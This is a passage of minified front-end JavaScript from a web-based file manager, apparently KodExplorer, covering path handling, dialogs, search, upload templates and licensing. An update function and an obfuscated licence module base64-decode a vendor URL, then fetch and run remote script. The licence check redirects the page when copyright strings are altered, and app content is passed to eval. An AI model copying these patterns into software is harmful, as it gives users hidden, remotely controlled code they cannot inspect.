t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>"); -else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url 